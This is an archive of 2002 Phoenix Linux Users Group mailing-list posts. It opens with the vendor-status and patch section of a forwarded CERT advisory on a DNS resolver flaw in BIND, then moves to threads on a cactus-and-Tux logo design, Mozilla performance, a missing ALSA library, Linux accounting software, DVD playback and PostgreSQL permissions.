information to the CERT/CC, we > update this section and note the changes in our revision history. If a > particular vendor is not listed below, we have not received their > comments. > > Compaq > > SOURCE: Compaq Computer Corporation, a wholly-owned subsidiary of > Hewlett-Packard Company and Hewlett-Packard Company HP Services > Software Security Response Team > > x-ref:SSRT2270 > > At the time of writing this document, Compaq is currently > investigating the potential impact to Compaq's released Operating > System software products. > > As further information becomes available Compaq will provide notice > of the completion/availibility of any necessary patches through > standard product and security bulletin announcements and be > available from your normal HP Services support channel. > > Cray, Inc. > > The DNS resolver code supplied by Cray, Inc. in Unicos and > Unicos/mk is vulnerable. SPR 722619 has been opened to track this > problem. > > FreeBSD > > See > ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-02:28. > resolv.asc > > GNU adns > > adns is not derived from BIND libresolv. Furthermore, it does not > support a gethostbyname-like interface (which is where the bug in > BIND libresolv is). Therefore, it is not vulnerable. > > For more information on GNU adns, see: > > http://www.gnu.org/software/adns/ > http://www.chiark.greenend.org.uk/~ian/adns/ > > Internet Software Consortium > > All versions of BIND 4 from 4.8.3 prior to BIND 4.9.9 are > vulnerable. > All versions of BIND 8 prior to BIND 8.2.6 are vulnerable. > All versions of BIND 8.3.x prior to BIND 8.3.3 are vulnerable. > BIND versions BIND 9.2.0 and BIND 9.2.1 are vulnerable. > BIND version 4.8 does not appear to be vulnerable. > BIND versions BIND 9.0.x and BIND 9.1.x are not vulnerable. > 'named' itself is not vulnerable. > Updated releases can be found at: > > ftp://ftp.isc.org/isc/bind/src/4.9.9/ > ftp://ftp.isc.org/isc/bind/src/8.2.6/ > ftp://ftp.isc.org/isc/bind/src/8.3.3/ > ftp://ftp.isc.org/isc/bind/contrib/ntbind-8.3.3/ > > BIND 9 contains a copy of the BIND 8.3.x resolver library > (lib/bind). This will be updated with the next BIND 9 releases > (9.2.2/9.3.0) in the meantime please use the original in BIND > 8.3.3. > > In addition the BIND 9 'named' can be used to prevent malformed > answers reaching vulnerable clients. > > Vendors wishing additional patches should contact > bind-bugs@isc.org. > Query about BIND 4 and BIND 8 should be addressed to > bind-bugs@isc.org. > Query about BIND 9 should be addressed to bind9-bugs@isc.org. > > Microsoft > > Microsoft products do not use the libraries in question. Microsoft > products are not affected by this issue. > > OpenBSD > > [T]he resolver libraries in question got copied far and wide. They > used to have a hell of a lot of bugs in them. > > Now might be a good time for people to compare each others' > libraries to each other. I would urge them to compare against the > OpenBSD ones, where we've spent a lot of time on, but of course we > still missed this. But perhaps people can then share some around. > Not everyone is going to move to the bind9 stuff, since it is very > different. > > NetBSD > > See > ftp://ftp.NetBSD.ORG/pub/NetBSD/security/advisories/NetBSD-SA2002-0 > 06.txt.asc > > Network Appliance > > Some NetApp systems are vulnerable to this problem. Check NOW > (http://now.netapp.com) for information on whether your system is > vulnerable and the appropriate patch release that you should > install. > > SGI > > SGI is looking into the matter. > > > _________________________________________________________________ > > The CERT Coordination Center thanks Joost Pol of PINE-CERT and the > FreeBSD Project for their analysis of these vulnerabilities. > _________________________________________________________________ > > Feedback can be directed to the authors: Art Manion and Jason A. > Rafail > _________________________________________________________________ > > > Appendix B. - References > > 1. http://www.pine.nl/advisories/pine-cert-20020601.asc > > ______________________________________________________________________ > > This document is available from: > http://www.cert.org/advisories/CA-2002-19.html > ______________________________________________________________________ > > > CERT/CC Contact Information > > Email: cert@cert.org > Phone: +1 412-268-7090 (24-hour hotline) > Fax: +1 412-268-6989 > Postal address: > CERT Coordination Center > Software Engineering Institute > Carnegie Mellon University > Pittsburgh PA 15213-3890 > U.S.A. > > CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / > EDT(GMT-4) Monday through Friday; they are on call for emergencies > during other hours, on U.S. holidays, and on weekends. > > Using encryption > > We strongly urge you to encrypt sensitive information sent by email. > Our public PGP key is available from > http://www.cert.org/CERT_PGP.key > > If you prefer to use DES, please call the CERT hotline for more > information. > > Getting security information > > CERT publications and other security information are available from > our web site > > http://www.cert.org/ > > To subscribe to the CERT mailing list for advisories and bulletins, > send email to majordomo@cert.org. Please include in the body of your > message > > subscribe cert-advisory > > * "CERT" and "CERT Coordination Center" are registered in the U.S. > Patent and Trademark Office. > ______________________________________________________________________ > > NO WARRANTY > Any material furnished by Carnegie Mellon University and the Software > Engineering Institute is furnished on an "as is" basis. Carnegie > Mellon University makes no warranties of any kind, either expressed or > implied as to any matter including, but not limited to, warranty of > fitness for a particular purpose or merchantability, exclusivity or > results obtained from use of the material. Carnegie Mellon University > does not make any warranty of any kind with respect to freedom from > patent, trademark, or copyright infringement. > _________________________________________________________________ > > Conditions for use, disclaimers, and sponsorship information > > Copyright 2002 Carnegie Mellon University. > > > Revision History > > June 28, 2002: Initial release > > > -----pgpenvelope information > Version: PGP 6.5.8 > > gpg: Signature made Fri Jun 28 14:12:00 2002 MST using RSA key ID D02361C9 > gpg: Can't check signature: public key not found > > pgpenvelope_decrypt: message processed at Fri Jun 28 16:27:54 2002 > > -----end pgpenvelope information > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 00:23:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C) Date: 28 Jun 2002 17:23:00 -0700 Subject: Mozilla troubles In-Reply-To: <20020629000409.6884.qmail@web13408.mail.yahoo.com> References: <20020629000409.6884.qmail@web13408.mail.yahoo.com> Message-ID: <1025310180.6930.6.camel@bryceco1> Mozilla 1.0 in KDE 2.2.2 and Enlightenment DR16 work just fine for me. Nice and quick as well as pleasant. On Fri, 2002-06-28 at 17:04, bob smith wrote: > Hey all, > I think this was mentioned before but I could not find > it searching through the archives. I was just curious > how Mozilla is working out for you all? When I was > using Gnome 1.4 with Mozilla it was really speedy and > I had no problems. Lately I just tried using Mozilla > with window maker and it is pretty slow. It takes > awhile to open new windows and such. Anyone > experiencing similar problems? > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce Chidester Network Administrator CoBryce Communications Bryce AT BryceCo DOT Net http://www.bryceco.net From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 00:26:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C) Date: 28 Jun 2002 17:26:05 -0700 Subject: New Version of PLUG Logo In-Reply-To: <20020629000510.44073.qmail@web13402.mail.yahoo.com> References: <20020629000510.44073.qmail@web13402.mail.yahoo.com> Message-ID: <1025310365.6930.10.camel@bryceco1> I don't know. Personally, I liked the VERY first one best. I know it's different from the original but it was nice. The tall cacti take one's attention away from the penguin TOO much IMHO. On Fri, 2002-06-28 at 17:05, bob smith wrote: > > --- slr wrote: > > check it out. dual saguaro's and non-italic fonts > > http://www.zen2now.com/tux/double_g.jpg > > > > slr > > Kick arse :). > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce Chidester Network Administrator CoBryce Communications Bryce AT BryceCo DOT Net http://www.bryceco.net From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 00:34:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Fri, 28 Jun 2002 17:34:05 -0700 (PDT) Subject: Mozilla troubles In-Reply-To: <20020629000409.6884.qmail@web13408.mail.yahoo.com> Message-ID: <20020629003405.89685.qmail@web13403.mail.yahoo.com> --- bob smith wrote: > Hey all, > I think this was mentioned before but I could not > find > it searching through the archives. I was just > curious > how Mozilla is working out for you all? When I was > using Gnome 1.4 with Mozilla it was really speedy > and > I had no problems. Lately I just tried using Mozilla > with window maker and it is pretty slow. It takes > awhile to open new windows and such. Anyone > experiencing similar problems? Hmm nevermind, seems the problem is with windowmaker as it runs fine (almost too fast :), thanks BoBG) using fluxbox __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 00:32:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 28 Jun 2002 20:32:59 -0400 Subject: New Version of PLUG Logo Message-ID: The right cactus is WAY to tall. Make it just a little taller than the left one. It will give more balance and Tux can be relatively a little bigger. The way it is now, my eye is drawn to that big saguaro when I should primarily see the penguin. I'm up to $0.06 now. All my opinion, of course. Alan On Fri, 28 Jun 2002 16:58:06 -0700 slr wrote: check it out. dual saguaro's and non-italic fonts http://www.zen2now.com/tux/double_g.jpg slr ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 01:00:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Fri, 28 Jun 2002 18:00:48 -0700 Subject: PLUG Logo Update! In-Reply-To: <200206281547.03743.zen2now@qwest.net> References: <007001c21ef3$3bf344c0$0601010a@tickticker.com> <200206281448.27786.zen2now@qwest.net> <007001c21ef3$3bf344c0$0601010a@tickticker.com> Message-ID: <5.1.0.14.0.20020628175847.0255d460@localhost> Details! Geez, the saguaro is great! I like that one and it's not too big. It's just right. And by the way, I don't really mind the two different cacti. I kinda like that there is diversity in that logo, just like the group has. Wide and broad range of items. The white lines, though, look just like the stitching on a tux, which is really kinda cool considering that Tux, tuxedo........well, anyway, I like it just the way that it is. Keep it. Kimi Adams Unity Wave At 6/28/02, you wrote: >hehe, its a Native American Saguaro. :~D > >slr > > >On Friday 28 June 2002 03:29 pm, tickticker wrote: > > I hate to point this out, but the saguaro is very clean shaven, heck,i've > > never been able to shave that close. > > > > anthony > > ----- Original Message ----- > > From: "slr" > > To: ; > > Sent: Friday, June 28, 2002 2:48 PM > > Subject: Re: PLUG Logo Update! > > > > > ok, seeing that it is kind of a split. some like the prickly pears and > > > > some > > > > > like saguaros. how about we have 2, one with prickly's and one with > > > > saguaros. > > > > > those who like prickly's will be happy, and those who want saguaro's will > > > > be > > > > > happy as well. > > > > > > as for the White Outline on Tux's arms, is it really that distracting > > > from > > > > the > > > > > overall image? > > > > > > as for the Italic Fonts, is this an overall deciding factor for the > > > group? > > > > > > slr > > > > > > On Friday 28 June 2002 01:37 pm, alandd@mindspring.com wrote: > > > > My $0.02. > > > > > > > > It is lopsided with the BIG saguaro on the right and the little cactus > > > > on > > > > > > the left. I like the balance of the original logo, with saguaros not > > > > too > > > > > > big and on both sides. It would match the banner we already have. > > > > > > > > Other than that, way cool work! Thanks for doing it! > > > > > > > > Alan > > > > > > > > On Fri, 28 Jun 2002 13:19:50 -0700 slr wrote: > > > > > > > > this is the newest version, also the master will be posted soon. what > > > > do you guys think about Tux in a Spawn Costume? > > > > > > > > http://www.zen2now.com/tux/tux1.jpg > > > > > > > > need some good feed back, as i want to get going with the screen > > > > printing > > > > > > slr > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 01:28:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Fri, 28 Jun 2002 18:28:57 -0700 (MST) Subject: New Version of PLUG Logo In-Reply-To: Message-ID: Am 28. Jun, 2002 schwätzte alandd@mindspring.com so: > The right cactus is WAY to tall. Make it just a little taller than the left > one. It will give more balance and Tux can be relatively a little bigger. > The way it is now, my eye is drawn to that big saguaro when I should primarily > see the penguin. And I wonder who's ever seen a saguaro as short as the one on the left :). ciao, der.hans -- # https://www.LuftHans.com/ # A t-shirt a day keeps the noose (tie) away. - der.hans From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 01:03:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Fri, 28 Jun 2002 18:03:17 -0700 Subject: New Version of PLUG Logo In-Reply-To: <200206281658.06007.zen2now@qwest.net> Message-ID: <5.1.0.14.0.20020628180226.00ac4080@localhost> Well, now you have done it. You have out worked yourself. Absolutely great! Keep this one. Don't change a thing. Make it happen and we will come! : ) Kimi Adams Unity Wave At 6/28/02, you wrote: >check it out. dual saguaro's and non-italic fonts >http://www.zen2now.com/tux/double_g.jpg > >slr > > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 01:36:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Fri, 28 Jun 2002 18:36:44 -0700 Subject: PLUG Logo Update! References: Message-ID: <3D1D0F2C.6EA3F9F4@leml.asu.edu> > On Fri, 28 Jun 2002 13:19:50 -0700 slr wrote: > > this is the newest version, also the master will be posted soon. what do you > guys think about Tux in a Spawn Costume? > > http://www.zen2now.com/tux/tux1.jpg > > need some good feed back, as i want to get going with the screen printing The only thing I think I would add is a couple sweat beads running down his head ;-) But seriously. Depending on what techniques you will be using for the silk screaning you are looking at what looks to be a 6 color press. If the grey "shadow" on tux's belly is done using a tranlucent or transparent grey, then the grey belly shadow, greyish highlights, and possibly the darker edges on the yellow can be done with an overprint using this collor. Another way to do it is to half-tone these areas of the image and over print with black. The real reason you want to do this is to reduce the number of colors used in the image. Every time you have to print another color you have to clean up the old ink, switch out the screen (or move to a different area), register, and start over. Every new color will cost you a bit more -- assuming you are using standard silk screen technology ad not sublimation transfer inks which are a whole nother kettle of fish, but still the more colors the more it will cost. Along those lines, make sure the dark green in "Penguins in the Desert" is he same as the dark green in the cacti... EBo -- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 01:46:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Fri, 28 Jun 2002 18:46:38 -0700 Subject: New Version of PLUG Logo References: <20020629000510.44073.qmail@web13402.mail.yahoo.com> Message-ID: <3D1D117E.243FCA4D@leml.asu.edu> bob smith wrote: > > --- slr wrote: > > check it out. dual saguaro's and non-italic fonts > > http://www.zen2now.com/tux/double_g.jpg > > > > slr > > Kick arse :). actually... we need a "Tux the Penguin Kicks Micro$ofts Arse" T-shirt... hmmm... Tux in a stetson, kicking a donkey's arse with Bill's head on the donkey ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 01:43:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Fri, 28 Jun 2002 18:43:26 -0700 Subject: New Version of PLUG Logo References: Message-ID: <3D1D10BE.426F56E@leml.asu.edu> "der.hans" wrote: > > Am 28. Jun, 2002 schwätzte alandd@mindspring.com so: > > > The right cactus is WAY to tall. Make it just a little taller than the left > > one. It will give more balance and Tux can be relatively a little bigger. > > The way it is now, my eye is drawn to that big saguaro when I should primarily > > see the penguin. > > And I wonder who's ever seen a saguaro as short as the one on the left :). ahhh.... it's just a wood'l baby saguaro... cuddawe wadawe CCCCUUUUTTTTEEE ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 02:16:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mario Hines) Date: Fri, 28 Jun 2002 19:16:01 -0700 (PDT) Subject: libasound.so.1??? Message-ID: <20020629021601.20740.qmail@web20610.mail.yahoo.com> I was trying to load Armagetron on my Linux system and it came up with this requirement. "libasound.so.1". Does ANYONE know where this RPM/file can be found or what RPM it comes with? Thanks for the help. -Mario __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 02:42:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Fri, 28 Jun 2002 19:42:30 -0700 Subject: New Version of PLUG Logo In-Reply-To: <3D1D10BE.426F56E@leml.asu.edu> References: <3D1D10BE.426F56E@leml.asu.edu> Message-ID: <200206281942.30536.alandd@mindspring.com> Of course, there is no way that is a baby cactus because it has arms. Saguaro don't get arms until they are around 50 years old (if I remember correctly). Just think of it as being in the distant background. Whatever is the final design will look just great, I am sure. Alan On Friday 28 June 2002 06:43 pm, John (EBo) David wrote: > "der.hans" wrote: > > Am 28. Jun, 2002 schwätzte alandd@mindspring.com so: > > > The right cactus is WAY to tall. Make it just a little taller than the > > > left one. It will give more balance and Tux can be relatively a little > > > bigger. The way it is now, my eye is drawn to that big saguaro when I > > > should primarily see the penguin. > > > > And I wonder who's ever seen a saguaro as short as the one on the left > > :). > > ahhh.... it's just a wood'l baby saguaro... cuddawe wadawe > CCCCUUUUTTTTEEE ;-) > > > EBo -- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 02:52:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Fri, 28 Jun 2002 19:52:41 -0700 Subject: libasound.so.1??? References: <20020629021601.20740.qmail@web20610.mail.yahoo.com> Message-ID: <3D1D20F9.7057F8B7@qwest.net> looks like it is part of ALSA. For mandrake the rpm is http://www.rpmfind.net//linux/RPM/mandrake/8.2/i586/Mandrake/RPMS/libalsa1-0.5.10b-1mdk.i586.html Don't know which one in RH provides it since I don't have my 7.3 cds here at home. bash script to find something in an rpm: for p in *.rpm do echo $p rpm -qlp $p | grep libasound done > I was trying to load Armagetron on my Linux > system and it came up with this requirement. > "libasound.so.1". Does ANYONE know where this > RPM/file can be found or what RPM it comes with? > Thanks for the help. > > -Mario > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 03:01:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Fri, 28 Jun 2002 20:01:08 -0700 Subject: New Version of PLUG Logo References: <3D1D10BE.426F56E@leml.asu.edu> <200206281942.30536.alandd@mindspring.com> Message-ID: <3D1D22F4.BD1D36EC@leml.asu.edu> Alan Dayley wrote: > > Of course, there is no way that is a baby cactus because it has arms. Saguaro > don't get arms until they are around 50 years old (if I remember correctly). > Just think of it as being in the distant background. Doh... I should have remembered that, I was just playing... Besides, have you hugged a saguaro lately 8-0 Talk about a PAIN!!! ;-) > Whatever is the final design will look just great, I am sure. yes. It is wonderful, and whatever it comes out to be I am sure it will be beautiful! EBo -- > On Friday 28 June 2002 06:43 pm, John (EBo) David wrote: > > "der.hans" wrote: > > > Am 28. Jun, 2002 schwätzte alandd@mindspring.com so: > > > > The right cactus is WAY to tall. Make it just a little taller than the > > > > left one. It will give more balance and Tux can be relatively a little > > > > bigger. The way it is now, my eye is drawn to that big saguaro when I > > > > should primarily see the penguin. > > > > > > And I wonder who's ever seen a saguaro as short as the one on the left > > > :). > > > > ahhh.... it's just a wood'l baby saguaro... cuddawe wadawe > > CCCCUUUUTTTTEEE ;-) From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 03:28:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Wyant) Date: Fri, 28 Jun 2002 20:28:29 -0700 Subject: New Version of PLUG Logo In-Reply-To: Message-ID: <000201c21f1d$0a824f60$6500000a@janus> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Or a penguin as big as tux... "My advice to you is get married: if you find a good wife you'll be happy; if not, you'll become a philosopher." -- Socrates matt wyant | friend, gentleman, scholar zanfar@nospam.zanfar.com | http://www.zanfar.com - -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us] On Behalf Of der.hans Sent: Friday, June 28, 2002 6:29 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: New Version of PLUG Logo Am 28. Jun, 2002 schwätzte alandd@mindspring.com so: > The right cactus is WAY to tall. Make it just a little taller than > the left one. It will give more balance and Tux can be relatively > a little bigger. The way it is now, my eye is drawn to that big > saguaro when I should primarily see the penguin. And I wonder who's ever seen a saguaro as short as the one on the left :). ciao, der.hans - -- # https://www.LuftHans.com/ # A t-shirt a day keeps the noose (tie) away. - der.hans ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: PGP 7.0.4 iQA/AwUBPR0pXY4p6zlv2o83EQJIUgCgzFck0GyiTSD4ZAGTwGSFDb3MAYIAn0SB tiUsUERiEn1vlpXkCjhYZgfb =ZlRs -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 19:24:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Rogers) Date: Fri, 28 Jun 2002 12:24:14 -0700 Subject: Accounting Packages References: <4A8DFDA6B395D411A11B00508BEE23FE76B548@mail.int.fh.org> Message-ID: <3D1CB7DE.4070706@rogersdirect.com> Gnucash is not an accounting package that does inventory, payroll, job cost, and 90% of the other features that Quickbooks has. Tom Achtenberg wrote: >Look at Gnucash > >-----Original Message----- >From: Don Calfa [mailto:tvat3000@netscape.net] >Sent: Friday, June 28, 2002 10:07 AM >To: PLUG-discuss@lists.plug.phoenix.az.us >Subject: Accounting Packages > > >Are there any accounting packages like Peachtree or Quickbooks for >Linux? I haven't seen one and I know that this key program would be >instrumental for getting small businesses into the Linux world. I'm >also looking for personal reasons. > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 17:07:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Rogers) Date: Fri, 28 Jun 2002 10:07:39 -0700 Subject: Hello I'm new (kinda) References: <20020627013127.16883.qmail@web13408.mail.yahoo.com> Message-ID: <3D1C97DB.20301@rogersdirect.com> I'm using the Xine player out of the box that comes with Mandrake 8.2. Only region free DVD's play. I've tried multiple Region 1 DVD's from different distributors and none of them work. bob smith wrote: >--- Don Calfa wrote: > > >>Are you able to play Region 1 DVD's? I am only able >>to play region free >>DVD's on Mandrake 8.2 >> >> > >Hi Don, >Yes I'm able to play Region 1. I tried out one of my >sisters DVD's and it worked fine. What errors are you >getting? What player are you using? > >__________________________________________________ >Do You Yahoo!? >Yahoo! - Official partner of 2002 FIFA World Cup >http://fifaworldcup.yahoo.com >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 15:57:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Fri, 28 Jun 2002 08:57:52 -0700 Subject: Fw: 80/20 Rule for Desktops Message-ID: looky what i got from one of my mailing lists, i only deleted the sponsored ads they were not for M$: ----- Original Message ----- From: Sent: Thursday, June 27, 2002 10:51 PM Subject: 80/20 Rule for Desktops > > > ENTERPRISE NETWORK MANAGEMENT --- June 28, 2002 > Published by ITworld.com -- changing the way you view IT > http://www.itworld.com/newsletters > ____________________________________________________________________________ ____ > > HIGHLIGHTS > > * The growth of Linux desktop alternatives has corresponded with > Microsoft's restrictive new licensing scheme. ____________________________________________________________________________ __ > > 80/20 Rule for Desktops > By James Gaskin > > As Microsoft's licensing terms restrictions get closer, more desktop > news demands some attention. By this time next year, Linux desktop > alternatives will show serious market share (over 5 percent). In fact, > Linux desktop share could overtake Macintosh share before next summer. > > Why? Two big reasons. First, Microsoft's licensing lunacy aggravated > more people than anyone, especially at Microsoft, expected. Second, > Linux vendors now, or soon will, offer a desktop system perfectly usable > by about 80 percent of computers users on the Internet. Red Hat pulls > the most weight in Linux circles today, but all the Linux desktop > implementations have value. By next year, desktop Linux systems will > install faster and easier than Windows. > > What do many people do all day on their computers? E-mail, Web access, > and light word-processing. Add calendar and address book in there if you > want, but many companies now provide those features on Web hosts rather > than trust each user to backup and secure their own information. > > Linux systems have fine e-mail clients. Not Outlook, perhaps, but the > viruses and management overhead required to support Outlook clients with > Microsoft e-mail servers grows every day, and companies also want out > from under that cloud. If you haven't noticed, Web-based e-mail solves > many bandwidth and security issues, making a Web-hosted e-mail client > more popular every day, even under Linux. > > The Netscape Web client suite comes with many Linux desktop > distributions, and the Open Source community reworking Netscape through > the Mozilla project just released some software. I'm using the Netscape > 7.0 beta release, and find it more stable than Netscape 6.2 and Internet > Explorer 5.5. Mark another Linux winner for the 80 percent group. > > Light word processing, letters, and memos work quite well in smaller > applications. Long documents, and those with macros (virus magnets), may > need a stout application like Microsoft Word or Corel's WordPerfect, but > few people really need the power. Most users never overwhelm the text > editor in their e-mail client, and it already has a spell checker. > > Even if you don't really want to move to Linux desktops, here's how to > save some real money this summer. Before your Microsoft rep comes > through with the bad news about your increased licensing cost, install a > half-dozen Linux desktops. Parade the Microsoftie past these stations on > the way to your meeting. Watch the licensing fee drop. Competition does > wonderful things to prices. > > ____________________________________________________________________________ ____ > > About the author(s) > ------------------- > James E. Gaskin writes books, articles, columns, and jokes about > technology and real life. A Dallas-area author and consultant, he has > written seven networking books and co-authored three others. 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Click here! > http://itw.itworld.com/GoForward/a14724a60762aSa100254133a21 > > SUBSCRIBE/UNSUBSCRIBE > Please click on the link below to modify your subscription, unsubscribe, > or change your email address: > > http://itw.itworld.com/Change-Remove/a14724a100254133a21a60762 > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 21:49:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 28 Jun 2002 14:49:59 -0700 Subject: postgreSQL permission problems Message-ID: <1738B2A44A4FD3118A500000F848CBCF0DC1A9BE@xcem-aztem-01.wellsfargo.com> Srs, I just unsubscribe from this list, although I'm still receiving emails. Can someone unsubscribe me? -----Original Message----- From: Mike Starke [mailto:meg@lilly.csoft.net] Sent: Friday, June 28, 2002 2:29 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: postgreSQL permission problems Right before Derek replied I figured out the pg_hba file right. So her was right on. although I have it fairly wide open, I'm able to get in and evaluate the program. I do have one question: Someone posted earlier this week about postgres utilizing the GRANT & REVOKE statements. In MySQL, it is pretty straightforward (at least to me) what happens when you issue GRANT statements. How is this handled in postgreSQL? Does it make entries in a table somewhere, or 